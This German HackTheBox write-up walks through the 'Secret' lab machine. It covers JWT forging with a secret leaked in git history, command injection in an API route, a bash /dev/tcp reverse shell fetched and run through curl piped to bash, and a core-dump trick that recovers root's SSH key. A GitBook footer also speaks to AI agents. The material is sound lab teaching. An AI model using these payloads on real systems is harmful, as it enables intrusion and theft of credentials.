> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md).

# Secret HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/408>" %}

{% hint style="warning" %}
**Fähigkeiten**:

* Code-Analyse
* Eine API missbrauchen
* JSON Web Tokens (JWT)
* Core Dump missbrauchen/nutzen (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/4ba4e96da6b6ae8807b80618908b709b607f10f5" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/c3c7be41a65325aaf2a9eb29f5e07244a9f1d664" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.120 -oG allPorts
```

<figure><img src="/files/178d43cda40f188d91858cb910528a5012fd0425" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwende die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren (80,22,3000)

<figure><img src="/files/0d1086ecf0282363d6a43879c743ce1ff643fda1" alt="" width="563"><figcaption></figcaption></figure>

Versionsscan der Ports mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,22,3000 10.10.11.120 -oN targeted
```

<figure><img src="/files/845862fae260abb3416134c544ff703f05f4a64d" alt=""><figcaption></figcaption></figure>

Um Domänennamen mittels DNS in IP-Adressen aufzulösen, tragen wir den mit der IP-Adresse verknüpften Domänennamen in die `/etc/hosts` Datei ein:

<figure><img src="/files/76dce181420ab04cf8e4fcbd682868b0eaf7f96e" alt="" width="563"><figcaption></figcaption></figure>

> **Beobachtung**: Dieselbe Website ist über die Ports 80 und 3000 erreichbar.

<figure><img src="/files/87316d35175a36e79793edbc986676ac9f1d571a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/84f76e01328244c196883cce5be22939090779c0" alt=""><figcaption></figcaption></figure>

**Verzeichnissuche:**

Wir verwenden Gobuster, um nach Verzeichnissen auf der Website zu suchen:

```bash
gobuster dir -u http://secret.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/e99df98bb6ae0b0c2cc235e1b060f9a72d973b43" alt=""><figcaption></figcaption></figure>

## Einen API-Benutzer registrieren

Im Abschnitt „docs“ finden wir Anweisungen zur Registrierung eines Benutzers. Beispiel für den Benutzer „jordan“:

<figure><img src="/files/c61be5c6928f12759906489244b0fb0d77abd20f" alt=""><figcaption></figcaption></figure>

```json
curl -s -X POST http://secret.htb:3000/api/user/register -H "Content-Type: application/json" -d '{
    "name": "jordan",
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

<figure><img src="/files/bb50eef9ec49fe8931be61ae7f94da6926425f08" alt=""><figcaption></figcaption></figure>

## Authentifizierungs-API

Zum Verbinden:

```json
curl -s -X POST http://secret.htb:3000/api/user/login -H "Content-Type: application/json" -d '{
    "email": "jordan@htb.com",
    "password": "jordan"
}' ; echo
```

Das gibt uns ein Authentifizierungstoken (`auth-token`).

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ`

<figure><img src="/files/61210032e19bed07e6c6265948586d381c69b20a" alt=""><figcaption></figcaption></figure>

### Den standardmäßigen JSON-Body prüfen

<figure><img src="/files/c7c3b7bc9c63d86bba42555563a219991f637375" alt="" width="563"><figcaption></figcaption></figure>

`email: "root@dasith.works"`

`password: "Kekc8swFgD6zU"`

<figure><img src="/files/1ae3a6128cf1a1fcf6d72595e00a2e84915def97" alt=""><figcaption></figcaption></figure>

### Überprüfung der Schwachstelle [JSON Web Token](/de/web-vulnerabilities/json-web-token-jwt-attack.md)

Verwende eine Website, um das JWT zu dekodieren, seinen Inhalt zu lesen und zu manipulieren.

> **Hinweis**: Das JWT-Token sollte ungültig sein. Durch das Ändern der Felder "name" und "email" auf die eines Administrators:

{% embed url="<https://jwt.io/>" %}

<figure><img src="/files/adcc97e20c02708df43999e04bf2fdd25f7ba858" alt=""><figcaption></figcaption></figure>

`"name": "theadmin",`

`"email": "root@dasith.works",`

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug`

<figure><img src="/files/db0182eb52faf509bfa4efe9f30b539c2d375ce5" alt=""><figcaption></figcaption></figure>

### Versuch, auf eine private API zuzugreifen:

Versuch, mit dem modifizierten JWT eine private API zu verbinden:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.yn6hXmpBxrfb5TMDY4_6zirckzlhnQP_L_YWb4wL2Ug" | jq
```

{% endcode %}

Wir erhalten die Meldung „ungültiges Token“.

<figure><img src="/files/400011e0e5401c96a3a5bf45df0c3becf888c210" alt="" width="563"><figcaption></figcaption></figure>

Mit unserem eigenen JWT haben wir als normaler Benutzer Zugriff:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoiam9yZGFuIiwiZW1haWwiOiJqb3JkYW5AaHRiLmNvbSIsImlhdCI6MTczMDI3ODEyM30.z6quBZ6bTMSrkl7NxIfLEL0gUw6Wjvm3HWdnlhZBUoQ" | jq
```

{% endcode %}

Wir erhalten die Meldung „Du bist ein normaler Benutzer“.

<figure><img src="/files/d72b59a30f314c4d4c996e1486037392f2415679" alt=""><figcaption></figcaption></figure>

## Aufzählung von API-Routen mit Wfuzz

Verwende Wfuzz, um verfügbare Routen zu erkunden:

{% code fullWidth="true" %}

```bash
wfuzz -c --hh=93 --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://secret.htb/api/FUZZ
```

{% endcode %}

Neue Entdeckung: der `/api/logs` Route.

<figure><img src="/files/e98ff47a5141525b4e9a5ebd87bb0681af36aaac" alt=""><figcaption></figcaption></figure>

## Quellcode-Analyse

Die Webseite bietet die Möglichkeit, den Quellcode herunterzuladen.

<figure><img src="/files/5078e5c59e808e17a7d52024295b1b8a3fec3883" alt="" width="563"><figcaption></figcaption></figure>

> **Funde** :

* Eine `.env` Datei, die einen `token_secret` mit dem Wert "secret".

<figure><img src="/files/1d416d3fb13cd46e9ddc5137a2e34f567e00515b" alt=""><figcaption></figcaption></figure>

Eine `.git` Ordner mit einem Commit, der die Löschung der Datei anzeigt `.env`.

<figure><img src="/files/8920c16c829d99d4d9ff89d6cbe1ae029e3b05b4" alt=""><figcaption></figcaption></figure>

Die alte gelöschte `token_secret` wird gefunden:

`gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE`

<figure><img src="/files/dfd0843845eef9e7fa337feb69c2f2e58618689f" alt=""><figcaption></figcaption></figure>

Verwende diesen alten `token_secret` um ein JWT mit Administratorinformationen zu signieren und auf die private API zuzugreifen:

`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8`

<figure><img src="/files/bf5f96a8caf0159b0a9d694066f2ab23b050d709" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/priv" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

> **Ergebnis**: Begrüßungsnachricht als Administrator: "welcome back admin".

<figure><img src="/files/e96f3f93e80633ed02a1147e384b48d90767c4dc" alt=""><figcaption></figcaption></figure>

Schließlich wird durch Ausführen der `/api/logs` Route wird der folgende Inhalt angezeigt:

```json
"cmd": "git log --oneline undefined"
```

<figure><img src="/files/9bdd994870e0cf519aefcd19df38079afe4267a3" alt=""><figcaption></figcaption></figure>

Durch das Untersuchen der `privitate.js` Datei und die Analyse des Codes sehen wir, dass:

<figure><img src="/files/eb55ae0b6e56df8b01a2f2fcb4c9d414070fb67c" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle:

{% hint style="info" %}
Dieser Code hat aufgrund von Befehlsinjektion ein Sicherheitsproblem. Da `Datei` aus den Abfrageparametern stammt und direkt in den Terminalbefehl eingefügt wird, könnte ein böswilliger Benutzer `Datei` ändern, um andere Befehle auszuführen. Die Funktion dieser Route besteht darin, den `git log --oneline [file]` Befehl auf dem System auszuführen, wobei `[file]` eine bestimmte Datei ist, die im Abfrageparameter der Anfrage angefordert wird.
{% endhint %}

Hier ist ein Beispiel `curl` Befehl, der versucht, Folgendes einzuschleusen `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq
```

{% endcode %}

<figure><img src="/files/7e6001fafcc4b73903ad5a2bd5d28b7f6f6fd585" alt=""><figcaption></figcaption></figure>

#### Wir werden eine Reverse Shell ausführen:

1. Erstellen Sie eine `index.html` Datei auf unserem Rechner und erstellen einen Webserver mit folgendem Inhalt:

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
```

2. Anschließend auf Port 4444 lauschen:

```bash
nc -nlvp 4444
```

Führe eine Injektion aus mit `curl` auf unserem Webserver:

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/0a0cc12d4077672185db76e465983ab6191b4c66" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt :)

<figure><img src="/files/e2439f1d5f11d769547acc4f8c65c58daebd95a6" alt=""><figcaption></figcaption></figure>

**Terminal-Bedienung:**/ Sobald du Zugriff auf den Linux-Server hast, sind hier die Befehle für eine effiziente Verarbeitung im Terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisiere die Shell für komfortableres Arbeiten. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Privilegieneskalation (SUID)

Mit dem folgenden Befehl prüfen wir, ob unser Benutzer **SUID-Rechte hat**:

```bash
find / -perm -4000 2>/dev/null
```

Wir finden eine seltene Datei unter `/opt/count`, deren Besitzer `root`.

<figure><img src="/files/b0ba274c7ddebdb885d710dd89293d3fbb382102" alt=""><figcaption></figcaption></figure>

Beim Ausführen dieses Binaries werden wir aufgefordert, eine Datei anzugeben; anschließend werden die Gesamtanzahl der Zeichen, Wörter und Zeilen aufgelistet. Dieses Skript liest den Inhalt der Datei und zeigt dann ihre Eigenschaften an.

<figure><img src="/files/4bfd49eec82ebaae950c24bd9a7d5985b154fe9a" alt="" width="563"><figcaption></figcaption></figure>

### Core-Dump-Binary

Beim Untersuchen des Quellcodes können wir beobachten, dass ein Core Dump erzeugt wird, der den Inhalt bei einem Fehler vorübergehend speichert.

<figure><img src="/files/703cd91475e4244a58ba7544ba18160ec4b98d8f" alt=""><figcaption></figcaption></figure>

Fehler werden im `/var/crash` Verzeichnis gespeichert. So erstellt man einen Core Dump:

1. **Gib den Namen der Datei oder des Verzeichnisses ein:**

   ```bash
   Quell-Datei/-Verzeichnisnamen eingeben: /root/.ssh/id_rsa
   ```

*(SSH-Root-Schlüssel)* 2. **Ergebnisse in einer Datei speichern?**

````
```css
Ergebnisse in einer Datei speichern? [j/N]: ^Z
```
````

*(In den Hintergrund verschieben)* 3. **PID ermitteln:**

````
```bash
ps
```

_(PID kopieren)_
````

4\. **Prozess beenden:**

````
```bash
kill -BUS 'PID'
```
````

5\. **Führe das Binary erneut aus:**

````
```bash
fg
```
````

6\. **Prüfe das Core-Dumps-Verzeichnis:**

````
```bash
ls -l /var/crash
```
````

*(Es erscheint eine neue Datei: `_opt_count.1000.crash`)*

<figure><img src="/files/121ee493f37bd102361a181a7b632e590a908cc7" alt=""><figcaption></figcaption></figure>

Wir haben nun einen Base64-Core-Dump, der den SSH-Schlüssel von root enthält.

<figure><img src="/files/e8e5d5780025af0e90d690c3cf1d617b68b00d2b" alt=""><figcaption></figcaption></figure>

### Apport-unpack

Um die Informationen zu extrahieren, verwenden wir `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Anschließend listen wir den Inhalt der Datei in `/tmp/ssh/coredump` mit `strings`:

<figure><img src="/files/f8002e3346ed11b583cb9e792b7c4204adeac3db" alt=""><figcaption></figcaption></figure>

Wir finden den SSH-Root-Schlüssel

<figure><img src="/files/3405db9de9b8635c1059c65afeca395fc16eeeef" alt=""><figcaption></figcaption></figure>

### SSH-Verbindung

Sobald wir die `id_rsa` Datei mit den Berechtigungen 600 erstellt haben, können wir uns per SSH verbinden:

```bash
ssh root@10.10.11.120 -i id_rsa
```

<figure><img src="/files/f77d0aef3d8e4d12ee7188a1041c657c6ae41608" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/d1f0c5fc5c18ef266d21787e07cb0cb3123f5271" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9d59b39effb3406f6900d39f00870f7f9fc5a7a4" alt="" width="529"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/secret-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
